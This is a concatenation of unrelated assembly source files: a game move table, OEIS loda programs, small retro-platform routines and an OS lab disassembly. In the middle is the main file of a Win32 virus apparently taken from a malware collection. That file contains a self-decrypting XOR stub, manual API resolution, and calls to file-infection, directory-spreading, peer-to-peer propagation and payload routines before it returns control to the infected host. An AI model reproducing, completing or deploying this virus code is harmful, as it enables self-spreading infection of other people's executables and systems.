move EFFECT_UPROAR, 50, NORMAL, 100, 10, 0, SPECIAL ;UPROAR
move EFFECT_STOCKPILE, 0, NORMAL, 100, 20, 0, STATUS ;STOCKPILE
move EFFECT_SPIT_UP, 1, NORMAL, 100, 10, 0, SPECIAL ;SPIT_UP
move EFFECT_SWALLOW, 0, NORMAL, 100, 10, 0, STATUS ;SWALLOW
move EFFECT_BURN_HIT, 100, FIRE, 90, 10, 10, SPECIAL ;HEAT_WAVE
move EFFECT_HAIL, 0, ICE, 100, 10, 0, STATUS ;HAIL
move EFFECT_TORMENT, 0, DARK, 100, 15, 0, STATUS ;TORMENT
move EFFECT_FLATTER, 0, DARK, 100, 15, 0, STATUS ;FLATTER
move EFFECT_WILL_O_WISP, 0, FIRE, 75, 15, 0, STATUS ;WILL_O_WISP
move EFFECT_MEMENTO, 0, DARK, 100, 10, 0, STATUS ;MEMENTO
move EFFECT_FACADE, 70, NORMAL, 100, 20, 0, PHYSICAL ;FACADE
move EFFECT_FOCUS_PUNCH, 150, FIGHTING, 100, 20, 0, PHYSICAL ;FOCUS_PUNCH
move EFFECT_SMELLINGSALT, 60, FIGHTING, 100, 10, 0, PHYSICAL ;SMELLINGSALT
move EFFECT_SPLASH, 0, NORMAL, 100, 20, 0, STATUS ;FOLLOW_ME ; dummy
move EFFECT_NATURE_POWER, 0, NORMAL, 100, 20, 0, STATUS ;NATURE_POWER
move EFFECT_CHARGE, 0, ELECTRIC, 100, 20, 0, STATUS ;CHARGE
move EFFECT_TAUNT, 0, DARK, 100, 20, 0, STATUS ;TAUNT
move EFFECT_SPLASH, 0, NORMAL, 100, 20, 0, STATUS ;HELPING_HAND ; dummy
move EFFECT_TRICK, 0, PSYCHIC, 100, 10, 0, STATUS ;TRICK
move EFFECT_SPLASH, 0, PSYCHIC, 100, 10, 0, STATUS ;ROLE_PLAY ; dummy
move EFFECT_WISH, 0, NORMAL, 100, 10, 0, STATUS ;WISH
move EFFECT_ASSIST, 0, NORMAL, 100, 20, 0, STATUS ;ASSIST
move EFFECT_INGRAIN, 0, GRASS, 100, 20, 0, STATUS ;INGRAIN
move EFFECT_SUPERPOWER, 120, FIGHTING, 100, 5, 0, PHYSICAL ;SUPERPOWER
move EFFECT_MAGIC_COAT, 0, PSYCHIC, 100, 15, 0, STATUS ;MAGIC_COAT
move EFFECT_RECYCLE, 0, NORMAL, 100, 10, 0, STATUS ;RECYCLE
move EFFECT_REVENGE, 60, FIGHTING, 100, 10, 0, PHYSICAL ;REVENGE
move EFFECT_BRICK_BREAK, 75, NORMAL, 100, 15, 0, PHYSICAL ;BRICK_BREAK
move EFFECT_YAWN, 0, NORMAL, 100, 10, 0, STATUS ;YAWN
move EFFECT_KNOCK_OFF, 20, DARK, 100, 20, 0, PHYSICAL ;KNOCK_OFF
move EFFECT_ENDEAVOR, 0, FIGHTING, 100, 5, 0, PHYSICAL ;ENDEAVOR
move EFFECT_HP_SCALING_HIT, 150, FIRE, 100, 5, 0, SPECIAL ;ERUPTION
move EFFECT_SPLASH, 0, PSYCHIC, 100, 10, 0, STATUS ;SKILL_SWAP ; dummy
move EFFECT_IMPRISON, 0, PSYCHIC, 100, 10, 0, STATUS ;IMPRISON
move EFFECT_REFRESH, 0, NORMAL, 100, 20, 0, STATUS ;REFRESH
move EFFECT_GRUDGE, 0, GHOST, 100, 5, 0, STATUS ;GRUDGE
move EFFECT_SNATCH, 0, NORMAL, 100, 10, 0, PHYSICAL ;SNATCH
move EFFECT_SECRET_POWER, 70, NORMAL, 100, 20, 30, PHYSICAL ;SECRET_POWER
move EFFECT_FLY, 60, WATER, 100, 10, 0, PHYSICAL ;DIVE
move EFFECT_MULTI_HIT, 15, FIGHTING, 100, 20, 0, PHYSICAL ;ARM_THRUST
move EFFECT_CAMOUFLAGE, 0, NORMAL, 100, 20, 0, STATUS ;CAMOUFLAGE
move EFFECT_SP_ATK_UP_2, 0, BUG, 100, 20, 0, STATUS ;TAIL_GLOW
move EFFECT_SP_DEF_DOWN_HIT, 70, PSYCHIC, 100, 5, 50, SPECIAL ;LUSTER_PURGE
move EFFECT_SP_ATK_DOWN_HIT, 70, PSYCHIC, 100, 5, 50, SPECIAL ;MIST_BALL
move EFFECT_ATTACK_DOWN_2, 0, FLYING, 100, 15, 0, STATUS ;FEATHERDANCE
move EFFECT_CONFUSE, 0, NORMAL, 100, 20, 0, STATUS ;TEETER_DANCE
move EFFECT_BURN_HIT, 85, FIRE, 90, 10, 10, PHYSICAL ;BLAZE_KICK
move EFFECT_MUD_SPORT, 0, GROUND, 100, 15, 0, STATUS ;MUD_SPORT
move EFFECT_ROLLOUT, 30, ICE, 90, 20, 0, PHYSICAL ;ICE_BALL
move EFFECT_FLINCH_HIT, 60, GRASS, 100, 15, 30, PHYSICAL ;NEEDLE_ARM
move EFFECT_HEAL, 0, NORMAL, 100, 10, 0, STATUS ;SLACK_OFF
move EFFECT_NORMAL_HIT, 90, NORMAL, 100, 10, 0, SPECIAL ;HYPER_VOICE
move EFFECT_POISON_FANG, 65, POISON, 95, 15, 30, PHYSICAL ;POISON_FANG
move EFFECT_DEFENSE_DOWN_HIT, 75, NORMAL, 95, 10, 50, PHYSICAL ;CRUSH_CLAW
move EFFECT_HYPER_BEAM, 150, FIRE, 90, 5, 0, SPECIAL ;BLAST_BURN
move EFFECT_HYPER_BEAM, 150, WATER, 90, 5, 0, SPECIAL ;HYDRO_CANNON
move EFFECT_ATTACK_UP_HIT, 100, STEEL, 80, 10, 20, PHYSICAL ;METEOR_MASH
move EFFECT_FLINCH_HIT, 30, GHOST, 100, 15, 30, PHYSICAL ;ASTONISH
move EFFECT_WEATHER_BALL, 50, NORMAL, 100, 10, 0, SPECIAL ;WEATHER_BALL
move EFFECT_HEAL_BELL, 0, GRASS, 100, 5, 0, STATUS ;AROMATHERAPY
move EFFECT_SP_DEF_DOWN_2, 0, DARK, 100, 20, 0, STATUS ;FAKE_TEARS
move EFFECT_NORMAL_HIT, 55, FLYING, 95, 25, 0, SPECIAL ;AIR_CUTTER
move EFFECT_SP_ATK_DOWN_2_HIT, 140, FIRE, 90, 5, 0, SPECIAL ;OVERHEAT
move EFFECT_FORESIGHT, 0, NORMAL, 100, 40, 0, STATUS ;ODOR_SLEUTH
move EFFECT_SPEED_DOWN_HIT, 50, NORMAL, 80, 10, 100, PHYSICAL ;ROCK_TOMB
move EFFECT_ALL_UP_HIT, 60, NORMAL, 100, 5, 10, SPECIAL ;SILVER_WIND
move EFFECT_SP_DEF_DOWN_2, 0, NORMAL, 85, 40, 0, STATUS ;METAL_SOUND
move EFFECT_SLEEP, 0, NORMAL, 55, 15, 0, STATUS ;GRASSWHISTLE
move EFFECT_ATK_DEF_DOWN, 0, NORMAL, 100, 20, 0, STATUS ;TICKLE
move EFFECT_DEF_SP_DEF_UP, 0, NORMAL, 100, 20, 0, STATUS ;COSMIC_POWER
move EFFECT_HP_SCALING_HIT, 150, WATER, 100, 5, 0, SPECIAL ;WATER_SPOUT
move EFFECT_CONFUSE_HIT, 75, BUG, 100, 15, 10, SPECIAL ;SIGNAL_BEAM
move EFFECT_ALWAYS_HIT, 60, GHOST, 100, 20, 0, PHYSICAL ;SHADOW_PUNCH
move EFFECT_FLINCH_HIT, 80, PSYCHIC, 100, 30, 10, SPECIAL ;EXTRASENSORY
move EFFECT_NORMAL_HIT, 85, FIGHTING, 90, 15, 0, PHYSICAL ;SKY_UPPERCUT
move EFFECT_TRAP_TARGET, 15, GROUND, 70, 15, 0, PHYSICAL ;SAND_TOMB
move EFFECT_OHKO, 0, ICE, 30, 5, 0, SPECIAL ;SHEER_COLD
move EFFECT_ACCURACY_DOWN_HIT, 95, WATER, 85, 10, 30, SPECIAL ;MUDDY_WATER
move EFFECT_MULTI_HIT, 10, GRASS, 100, 30, 0, PHYSICAL ;BULLET_SEED
move EFFECT_ALWAYS_HIT, 60, FLYING, 100, 20, 0, PHYSICAL ;AERIAL_ACE
move EFFECT_MULTI_HIT, 10, ICE, 100, 30, 0, PHYSICAL ;ICICLE_SPEAR
move EFFECT_DEFENSE_UP_2, 0, STEEL, 100, 15, 0, STATUS ;IRON_DEFENSE
move EFFECT_MEAN_LOOK, 0, NORMAL, 100, 5, 0, STATUS ;BLOCK
move EFFECT_ATTACK_UP, 0, NORMAL, 100, 40, 0, STATUS ;HOWL
move EFFECT_NORMAL_HIT, 80, DRAGON, 100, 15, 0, PHYSICAL ;DRAGON_CLAW
move EFFECT_HYPER_BEAM, 150, GRASS, 90, 5, 0, SPECIAL ;FRENZY_PLANT
move EFFECT_ATK_DEF_UP, 0, FIGHTING, 100, 20, 0, STATUS ;BULK_UP
move EFFECT_BOUNCE, 85, FLYING, 95, 5, 30, PHYSICAL ;BOUNCE
move EFFECT_SPEED_DOWN_HIT, 55, GROUND, 95, 15, 100, SPECIAL ;MUD_SHOT
move EFFECT_POISON_HIT, 50, POISON, 100, 25, 10, PHYSICAL ;POISON_TAIL
move EFFECT_THIEF, 40, NORMAL, 100, 40, 0, PHYSICAL ;COVET
move EFFECT_VOLT_TACKLE, 120, ELECTRIC, 100, 15, 10, PHYSICAL ;VOLT_TACKLE
move EFFECT_ALWAYS_HIT, 60, GRASS, 100, 20, 0, SPECIAL ;MAGICAL_LEAF
move EFFECT_WATER_SPORT, 0, WATER, 100, 15, 0, STATUS ;WATER_SPORT
move EFFECT_SP_ATK_SP_DEF_UP, 0, PSYCHIC, 100, 20, 0, STATUS ;CALM_MIND
move EFFECT_NORMAL_HIT, 70, GRASS, 100, 15, 0, PHYSICAL ;LEAF_BLADE
move EFFECT_ATK_SPEED_UP, 0, DRAGON, 100, 20, 0, STATUS ;DRAGON_DANCE
move EFFECT_MULTI_HIT, 25, ROCK, 80, 10, 0, PHYSICAL ;ROCK_BLAST
move EFFECT_ALWAYS_HIT, 60, ELECTRIC, 100, 20, 0, SPECIAL ;SHOCK_WAVE
move EFFECT_CONFUSE_HIT, 60, WATER, 100, 20, 20, SPECIAL ;WATER_PULSE
move EFFECT_FUTURE_SIGHT, 140, STEEL, 100, 5, 0, SPECIAL ;DOOM_DESIRE ; buffed
move EFFECT_SP_ATK_DOWN_2_HIT, 140, PSYCHIC, 90, 5, 0, SPECIAL ;PSYCHO_BOOST
move EFFECT_HEAL, 0, FLYING, 100, 10, 0, STATUS ;ROOST
move EFFECT_GRAVITY, 0, PSYCHIC, 100, 5, 0, STATUS ;GRAVITY
move EFFECT_MIRACLE_EYE, 0, PSYCHIC, 100, 40, 0, STATUS ;MIRACLE_EYE
move EFFECT_WAKE_UP_SLAP, 60, FIGHTING, 100, 10, 0, PHYSICAL ;WAKE_UP_SLAP
move EFFECT_HAMMER_ARM, 100, FIGHTING, 90, 10, 0, PHYSICAL ;HAMMER_ARM
move EFFECT_GYRO_BALL, 1, STEEL, 100, 5, 0, PHYSICAL ;GYRO_BALL
move EFFECT_HEALING_WISH, 0, PSYCHIC, 100, 10, 0, STATUS ;HEALING_WISH
move EFFECT_BRINE, 65, WATER, 100, 10, 0, SPECIAL ;BRINE
move EFFECT_NATURAL_GIFT, 1, NORMAL, 100, 15, 0, PHYSICAL ;NATURAL_GIFT
move EFFECT_FEINT, 50, NORMAL, 100, 10, 0, PHYSICAL ;FEINT
move EFFECT_PLUCK, 60, FLYING, 100, 20, 0, PHYSICAL ;PLUCK
move EFFECT_TAILWIND, 0, FLYING, 100, 30, 0, STATUS ;TAILWIND
move EFFECT_ACUPRESSURE, 0, NORMAL, 100, 30, 0, STATUS ;ACUPRESSURE
move EFFECT_METAL_BURST, 0, STEEL, 100, 10, 0, PHYSICAL ;METAL_BURST
move EFFECT_U_TURN, 70, BUG, 100, 20, 0, PHYSICAL ;U_TURN
move EFFECT_CLOSE_COMBAT, 120, FIGHTING, 100, 5, 0, PHYSICAL ;CLOSE_COMBAT
move EFFECT_PAYBACK, 50, DARK, 100, 10, 0, PHYSICAL ;PAYBACK
move EFFECT_SPLASH, 50, DARK, 100, 10, 0, PHYSICAL ;ASSURANCE
move EFFECT_EMBARGO, 0, DARK, 100, 15, 0, STATUS ;EMBARGO
move EFFECT_FLING, 1, DARK, 100, 10, 0, PHYSICAL ;FLING
move EFFECT_PSYCHO_SHIFT, 0, PSYCHIC, 90, 10, 0, STATUS ;PSYCHO_SHIFT
move EFFECT_TRUMP_CARD, 1, NORMAL, 100, 5, 0, SPECIAL ;TRUMP_CARD
move EFFECT_HEAL_BLOCK, 0, PSYCHIC, 100, 15, 0, STATUS ;HEAL_BLOCK
move EFFECT_CRUSH_GRIP, 1, NORMAL, 100, 5, 0, SPECIAL ;WRING_OUT
move EFFECT_POWER_TRICK, 0, PSYCHIC, 100, 10, 0, STATUS ;POWER_TRICK
move EFFECT_SPLASH, 0, POISON, 100, 10, 0, STATUS ;GASTRO_ACID ; dummy
move EFFECT_LUCKY_CHANT, 0, NORMAL, 100, 30, 0, STATUS ;LUCKY_CHANT
move EFFECT_ME_FIRST, 0, NORMAL, 100, 20, 0, STATUS ;ME_FIRST
move EFFECT_COPYCAT, 0, NORMAL, 100, 20, 0, STATUS ;COPYCAT
move EFFECT_POWER_SWAP, 0, PSYCHIC, 100, 10, 0, STATUS ;POWER_SWAP
move EFFECT_GUARD_SWAP, 0, PSYCHIC, 100, 10, 0, STATUS ;GUARD_SWAP
move EFFECT_PUNISHMENT, 1, DARK, 100, 5, 0, PHYSICAL ;PUNISHMENT
move EFFECT_LAST_RESORT, 130, NORMAL, 100, 5, 0, PHYSICAL ;LAST_RESORT
move EFFECT_SPLASH, 0, GRASS, 100, 10, 0, STATUS ;WORRY_SEED ; dummy
move EFFECT_SUCKER_PUNCH, 80, DARK, 100, 5, 0, PHYSICAL ;SUCKER_PUNCH
move EFFECT_TOXIC_SPIKES, 0, POISON, 100, 20, 0, STATUS ;TOXIC_SPIKES
move EFFECT_HEART_SWAP, 0, PSYCHIC, 100, 10, 0, STATUS ;HEART_SWAP
move EFFECT_AQUA_RING, 0, WATER, 100, 20, 0, STATUS ;AQUA_RING
move EFFECT_MAGNET_RISE, 0, ELECTRIC, 100, 10, 0, STATUS ;MAGNET_RISE
move EFFECT_FLARE_BLITZ, 120, FIRE, 100, 15, 10, PHYSICAL ;FLARE_BLITZ
move EFFECT_PARALYZE_HIT, 60, FIGHTING, 100, 10, 30, PHYSICAL ;FORCE_PALM
move EFFECT_ALWAYS_HIT, 90, FIGHTING, 100, 20, 0, SPECIAL ;AURA_SPHERE
move EFFECT_SPEED_UP_2, 0, ROCK, 100, 20, 0, STATUS ;ROCK_POLISH
move EFFECT_POISON_HIT, 80, POISON, 100, 20, 30, PHYSICAL ;POISON_JAB
move EFFECT_FLINCH_HIT, 80, DARK, 100, 15, 20, SPECIAL ;DARK_PULSE
move EFFECT_NORMAL_HIT, 70, DARK, 100, 15, 0, PHYSICAL ;NIGHT_SLASH
move EFFECT_NORMAL_HIT, 90, WATER, 90, 10, 0, PHYSICAL ;AQUA_TAIL
move EFFECT_NORMAL_HIT, 80, GRASS, 100, 15, 0, PHYSICAL ;SEED_BOMB
move EFFECT_FLINCH_HIT, 75, FLYING, 95, 20, 30, SPECIAL ;AIR_SLASH
move EFFECT_NORMAL_HIT, 80, BUG, 100, 15, 0, PHYSICAL ;X_SCISSOR
move EFFECT_SP_DEF_DOWN_HIT, 90, BUG, 100, 10, 10, SPECIAL ;BUG_BUZZ
move EFFECT_NORMAL_HIT, 90, DRAGON, 100, 10, 0, SPECIAL ;DRAGON_PULSE
move EFFECT_FLINCH_HIT, 100, DRAGON, 75, 10, 20, PHYSICAL ;DRAGON_RUSH
move EFFECT_NORMAL_HIT, 80, ROCK, 100, 20, 0, SPECIAL ;POWER_GEM
move EFFECT_LEECH_HIT, 75, FIGHTING, 100, 10, 0, PHYSICAL ;DRAIN_PUNCH
move EFFECT_PRIORITY_HIT, 40, FIGHTING, 100, 30, 0, SPECIAL ;VACUUM_WAVE
move EFFECT_SP_DEF_DOWN_HIT, 120, FIGHTING, 70, 5, 10, SPECIAL ;FOCUS_BLAST
move EFFECT_SP_DEF_DOWN_HIT, 90, GRASS, 100, 10, 10, SPECIAL ;ENERGY_BALL
move EFFECT_RECOIL_HIT, 120, FLYING, 100, 15, 0, PHYSICAL ;BRAVE_BIRD
move EFFECT_SP_DEF_DOWN_HIT, 90, GROUND, 100, 10, 10, SPECIAL ;EARTH_POWER
move EFFECT_TRICK, 0, DARK, 100, 10, 0, STATUS ;SWITCHEROO
move EFFECT_HYPER_BEAM, 150, NORMAL, 90, 5, 0, PHYSICAL ;GIGA_IMPACT
move EFFECT_SP_ATK_UP_2, 0, PSYCHIC, 100, 20, 0, STATUS ;NASTY_PLOT
move EFFECT_PRIORITY_HIT, 40, FIGHTING, 100, 30, 0, PHYSICAL ;BULLET_PUNCH
move EFFECT_REVENGE, 60, ICE, 100, 10, 0, PHYSICAL ;AVALANCHE
move EFFECT_PRIORITY_HIT, 40, ICE, 100, 30, 0, PHYSICAL ;ICE_SHARD
move EFFECT_NORMAL_HIT, 70, GHOST, 100, 15, 0, PHYSICAL ;SHADOW_CLAW
move EFFECT_PARA_FLINCH_HIT, 65, ELECTRIC, 95, 15, 10, PHYSICAL ;THUNDER_FANG
move EFFECT_FREEZE_FLINCH_HIT, 65, ICE, 95, 15, 10, PHYSICAL ;ICE_FANG
move EFFECT_BURN_FLINCH_HIT, 65, FIRE, 95, 15, 10, PHYSICAL ;FIRE_FANG
move EFFECT_PRIORITY_HIT, 40, GHOST, 100, 30, 0, PHYSICAL ;SHADOW_SNEAK
move EFFECT_ACCURACY_DOWN_HIT, 65, GROUND, 85, 10, 30, SPECIAL ;MUD_BOMB
move EFFECT_NORMAL_HIT, 70, PSYCHIC, 100, 20, 0, PHYSICAL ;PSYCHO_CUT
move EFFECT_FLINCH_HIT, 80, PSYCHIC, 90, 15, 20, PHYSICAL ;ZEN_HEADBUTT
move EFFECT_ACCURACY_DOWN_HIT, 65, STEEL, 85, 10, 30, SPECIAL ;MIRROR_SHOT
move EFFECT_SP_DEF_DOWN_HIT, 80, STEEL, 100, 10, 10, SPECIAL ;FLASH_CANNON
move EFFECT_CONFUSE_HIT, 90, NORMAL, 85, 20, 20, PHYSICAL ;ROCK_CLIMB
move EFFECT_DEFOG, 0, FLYING, 100, 15, 0, STATUS ;DEFOG
move EFFECT_TRICK_ROOM, 0, PSYCHIC, 100, 5, 0, STATUS ;TRICK_ROOM
move EFFECT_SP_ATK_DOWN_2_HIT, 140, DRAGON, 90, 5, 0, SPECIAL ;DRACO_METEOR
move EFFECT_PARALYZE_HIT, 80, ELECTRIC, 100, 15, 30, SPECIAL ;DISCHARGE
move EFFECT_BURN_HIT, 80, FIRE, 100, 15, 30, SPECIAL ;LAVA_PLUME
move EFFECT_SP_ATK_DOWN_2_HIT, 140, GRASS, 90, 5, 0, SPECIAL ;LEAF_STORM
move EFFECT_NORMAL_HIT, 120, GRASS, 85, 10, 0, PHYSICAL ;POWER_WHIP
move EFFECT_HYPER_BEAM, 150, ROCK, 90, 5, 0, PHYSICAL ;ROCK_WRECKER
move EFFECT_POISON_HIT, 70, POISON, 90, 20, 10, PHYSICAL ;CROSS_POISON
move EFFECT_POISON_HIT, 120, POISON, 70, 5, 30, PHYSICAL ;GUNK_SHOT
move EFFECT_FLINCH_HIT, 80, STEEL, 90, 15, 30, PHYSICAL ;IRON_HEAD
move EFFECT_ALWAYS_HIT, 60, STEEL, 100, 20, 0, PHYSICAL ;MAGNET_BOMB
move EFFECT_NORMAL_HIT, 100, ROCK, 80, 5, 0, PHYSICAL ;STONE_EDGE
move EFFECT_CAPTIVATE, 0, NORMAL, 100, 20, 0, STATUS ;CAPTIVATE
move EFFECT_STEALTH_ROCK, 0, ROCK, 100, 20, 0, STATUS ;STEALTH_ROCK
move EFFECT_WEIGHT_DAMAGE, 1, GRASS, 100, 20, 0, SPECIAL ;GRASS_KNOT
move EFFECT_CONFUSE_HIT, 60, FLYING, 100, 20, 31, SPECIAL ;CHATTER
move EFFECT_JUDGMENT, 100, NORMAL, 100, 10, 0, SPECIAL ;JUDGMENT
move EFFECT_PLUCK, 60, BUG, 100, 20, 0, PHYSICAL ;BUG_BITE
move EFFECT_SP_ATK_UP_HIT, 50, ELECTRIC, 90, 10, 70, SPECIAL ;CHARGE_BEAM
move EFFECT_RECOIL_HIT, 120, GRASS, 100, 15, 0, PHYSICAL ;WOOD_HAMMER
move EFFECT_PRIORITY_HIT, 40, WATER, 100, 20, 0, PHYSICAL ;AQUA_JET
move EFFECT_NORMAL_HIT, 90, BUG, 100, 15, 0, PHYSICAL ;ATTACK_ORDER
move EFFECT_DEF_SP_DEF_UP, 0, BUG, 100, 10, 0, STATUS ;DEFEND_ORDER
move EFFECT_HEAL, 0, BUG, 100, 10, 0, STATUS ;HEAL_ORDER
move EFFECT_RECOIL_1_2, 150, ROCK, 80, 5, 0, PHYSICAL ;HEAD_SMASH
move EFFECT_DOUBLE_HIT, 35, NORMAL, 90, 10, 0, PHYSICAL ;DOUBLE_HIT
move EFFECT_HYPER_BEAM, 150, DRAGON, 90, 5, 0, SPECIAL ;ROAR_OF_TIME
move EFFECT_NORMAL_HIT, 100, DRAGON, 95, 5, 0, SPECIAL ;SPACIAL_REND
move EFFECT_LUNAR_DANCE, 0, PSYCHIC, 100, 10, 0, STATUS ;LUNAR_DANCE
move EFFECT_CRUSH_GRIP, 1, NORMAL, 100, 5, 0, PHYSICAL ;CRUSH_GRIP
move EFFECT_TRAP_TARGET, 120, FIRE, 70, 5, 0, SPECIAL ;MAGMA_STORM
move EFFECT_SLEEP, 0, DARK, 80, 10, 0, STATUS ;DARK_VOID
move EFFECT_SP_DEF_DOWN_2_HIT, 120, GRASS, 85, 5, 40, SPECIAL ;SEED_FLARE
move EFFECT_ALL_UP_HIT, 60, GHOST, 100, 5, 10, SPECIAL ;OMINOUS_WIND
move EFFECT_FLY, 120, GHOST, 100, 5, 0, PHYSICAL ;SHADOW_FORCE
move EFFECT_RECOIL_1_2, 140, ROCK, 90, 5, 0, SPECIAL ;CORAL_BEAM ; CORSOLA_SIGNATURE
move EFFECT_POT_SMASH, 140, FLYING, 90, 5, 0, PHYSICAL ;POT_SMASH ; FARFETCH'D_SIGNATURE
|
oeis/017/A017236.asm | neoneye/loda-programs | 11 | 170877 | <filename>oeis/017/A017236.asm
; A017236: a(n) = (9*n + 6)^4.
; 1296,50625,331776,1185921,3111696,6765201,12960000,22667121,37015056,57289761,84934656,121550625,168896016,228886641,303595776,395254161,506250000,639128961,796594176,981506241,1196883216,1445900625,1731891456,2058346161,2428912656,2847396321,3317760000,3844124001,4430766096,5082121521,5802782976,6597500625,7471182096,8428892481,9475854336,10617447681,11859210000,13206836241,14666178816,16243247601,17944209936,19775390625,21743271936,23854493601,26115852816,28534304241,31116960000,33871089681
mul $0,9
add $0,6
pow $0,4
|
programs/oeis/188/A188191.asm | neoneye/loda | 22 | 165283 | ; A188191: Positions of 1 in A188189; complement of A188190.
; 1,5,6,9,10,13,14,17,18,22,23,26,27,30,31,34,35,39,40,43,44,47,48,51,52,56,57,60,61,64,65,68,69,73,74,77,78,81,82,85,86,89,90,94,95,98,99,102,103,106,107,111,112,115,116,119,120,123,124,128,129,132,133,136,137,140,141,145,146,149,150,153,154,157,158
lpb $0
add $1,1
mov $2,$0
sub $2,$1
max $2,0
seq $2,188259 ; Positions of 1 in A188257; complement of A188258.
sub $0,$2
trn $0,2
add $1,$2
lpe
add $1,1
mov $0,$1
|
libsrc/sos/sos_wrd.asm | meesokim/z88dk | 0 | 16573 | <reponame>meesokim/z88dk
; S-OS specific routines
; by <NAME>, 2013
;
; $Id: sos_wrd.asm,v 1.2 2015/01/19 01:33:07 pauloscustodio Exp $
;
PUBLIC sos_wrd
sos_wrd:
call $1fac
ld hl,0
ret c
inc hl
ret
|
tests/assembly/BVS_BVC.asm | danecreekphotography/6502ts | 0 | 24639 | ; Verifies BVS and BVC
.segment "VECTORS"
.word $eaea
.word init
.word $eaea
.code
init:
bvs handleBVS ; Overflow flag will be false, no branch
bvs handleBVS ; Overflow flag will be true, branch
nop ; Padding in memory so the offset isn't zero
handleBVS:
lda #$42 ; Load something to prove execution is here
bvc handleBVC ; Overflow flag will be true, no branch
bvc handleBVC ; Overflow flag will be false, branch
nop ; Padding in memory so the offset isn't zero
handleBVC:
ldx #$42 ; Load something to prove execution is here
bvc handleBVS ; Jump backwards to test negative offset |
Virus.Win32.Fga/kernel.asm | 010001111/Vx-Suites | 2 | 160351 | ;d0nt d0 any harm !
;coded by fakedminded
.586
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
vir_size = _end - Start
stub_size = end_decrypt - Start
.Code
Start:
jmp luck
db "kick"
luck:
call delta
delta:
pop ecx
mov ebp,ecx
mov eax,offset delta
sub ebp,eax
cmp ebp,0
je end_decrypt
mov esi,offset end_decrypt
add esi,ebp
mov ecx,vir_size
sub ecx,stub_size
_decrypt:
xor byte ptr [esi],12
inc esi
loop _decrypt
end_decrypt:
call get_kernel
call find_main_api
call find_other_apis
getting_messagebox_api:
mov eax,offset user32
add eax,ebp
push eax
call [ebp+offset ALoadLibraryF]
mov [ebp+offset user32Ad],eax
mov eax,offset MessageBoxN
add eax,ebp
push eax
push [ebp+offset user32Ad]
call [ebp+offset AGetProcAddressF]
cmp eax,0
je exit
mov [ebp+offset MessageBoxAd],eax
buffer_preparing:
push 512 ;//some buffer to be used in our virus
push 0
call dword ptr [ebp+offset AGlobalAllocF]
mov [ebp+offset buffer],eax
checking_version:
push sizeof OSVERSIONINFO
push 0
call dword ptr [ebp+offset AGlobalAllocF]
mov [ebp+offset version],eax
mov dword ptr [eax],sizeof OSVERSIONINFO
push [ebp+offset version]
call dword ptr [ebp+offset AGetVersionExF]
mov eax,[ebp+offset version]
cmp dword ptr [eax+16],VER_PLATFORM_WIN32_NT
jne p2p__
call nfkt_exe
call search_dir ;horizontal expansion infection
p2p__:
call p2p_
call payload__
cmp ebp,0
je exit_hosty
mov eax,dword ptr [ebp+offset old_eip]
add eax,dword ptr [ebp+image_base]
jmp eax
;//////////////just chekking procedure(1st launch)
exit_hosty:
mov eax,offset s_g
add eax,ebp
push 0
push eax
mov eax,offset s_g1
add eax,ebp
push eax
push 0
call [ebp+offset MessageBoxAd]
exit:
push 0
call dword ptr [AExitProcessF]
data_needed:
s_g db "fag c0ded by fakedmnded!",0
s_g1 db "4 educational purposes only..",0
MessageBoxN db "MessageBoxA",0
MessageBoxAd dd 0
user32 db "user32.dll",0
user32Ad dd 0
version dd 0
string_cut:
ret
include kernel_procs.asm
include function_.asm
include p2p.asm
include payload.asm
include nfkt.asm
_end:
end Start
|
oeis/140/A140992.asm | neoneye/loda-programs | 11 | 21896 | ; A140992: a(0) = 0, a(1) = 1; for n > 1, a(n) = a(n-2) + a(n-1) + A000071(n+1).
; Submitted by <NAME>
; 0,1,2,5,11,23,46,89,168,311,567,1021,1820,3217,5646,9849,17091,29523,50794,87081,148820,253611,431087,731065,1237176,2089633,3523226,5930669,9968123,16730831,28045222,46954361,78524160,131181407
mov $1,$0
mov $2,4
lpb $0
sub $0,1
add $1,$0
mov $3,$2
mov $2,$1
add $1,$3
lpe
mov $0,$1
div $0,5
|
oslab6/obj/user/stresssched.asm | jasha64/OperatingSystems-lab | 0 | 175489 | <reponame>jasha64/OperatingSystems-lab
obj/user/stresssched.debug: 文件格式 elf32-i386
Disassembly of section .text:
00800020 <_start>:
// starts us running when we are initially loaded into a new environment.
.text
.globl _start
_start:
// See if we were started with arguments on the stack
cmpl $USTACKTOP, %esp
800020: 81 fc 00 e0 bf ee cmp $0xeebfe000,%esp
jne args_exist
800026: 75 04 jne 80002c <args_exist>
// If not, push dummy argc/argv arguments.
// This happens when we are loaded by the kernel,
// because the kernel does not know about passing arguments.
pushl $0
800028: 6a 00 push $0x0
pushl $0
80002a: 6a 00 push $0x0
0080002c <args_exist>:
args_exist:
call libmain
80002c: e8 b7 00 00 00 call 8000e8 <libmain>
1: jmp 1b
800031: eb fe jmp 800031 <args_exist+0x5>
00800033 <umain>:
volatile int counter;
void
umain(int argc, char **argv)
{
800033: 55 push %ebp
800034: 89 e5 mov %esp,%ebp
800036: 56 push %esi
800037: 53 push %ebx
int i, j;
int seen;
envid_t parent = sys_getenvid();
800038: e8 b8 0b 00 00 call 800bf5 <sys_getenvid>
80003d: 89 c6 mov %eax,%esi
// Fork several environments
for (i = 0; i < 20; i++)
80003f: bb 00 00 00 00 mov $0x0,%ebx
if (fork() == 0)
800044: e8 ab 0e 00 00 call 800ef4 <fork>
800049: 85 c0 test %eax,%eax
80004b: 74 0f je 80005c <umain+0x29>
for (i = 0; i < 20; i++)
80004d: 83 c3 01 add $0x1,%ebx
800050: 83 fb 14 cmp $0x14,%ebx
800053: 75 ef jne 800044 <umain+0x11>
break;
if (i == 20) {
sys_yield();
800055: e8 ba 0b 00 00 call 800c14 <sys_yield>
return;
80005a: eb 6e jmp 8000ca <umain+0x97>
if (i == 20) {
80005c: 83 fb 14 cmp $0x14,%ebx
80005f: 74 f4 je 800055 <umain+0x22>
}
// Wait for the parent to finish forking
while (envs[ENVX(parent)].env_status != ENV_FREE)
800061: 89 f0 mov %esi,%eax
800063: 25 ff 03 00 00 and $0x3ff,%eax
800068: 6b c0 7c imul $0x7c,%eax,%eax
80006b: 05 00 00 c0 ee add $0xeec00000,%eax
800070: eb 02 jmp 800074 <umain+0x41>
asm volatile("pause");
800072: f3 90 pause
while (envs[ENVX(parent)].env_status != ENV_FREE)
800074: 8b 50 54 mov 0x54(%eax),%edx
800077: 85 d2 test %edx,%edx
800079: 75 f7 jne 800072 <umain+0x3f>
80007b: bb 0a 00 00 00 mov $0xa,%ebx
// Check that one environment doesn't run on two CPUs at once
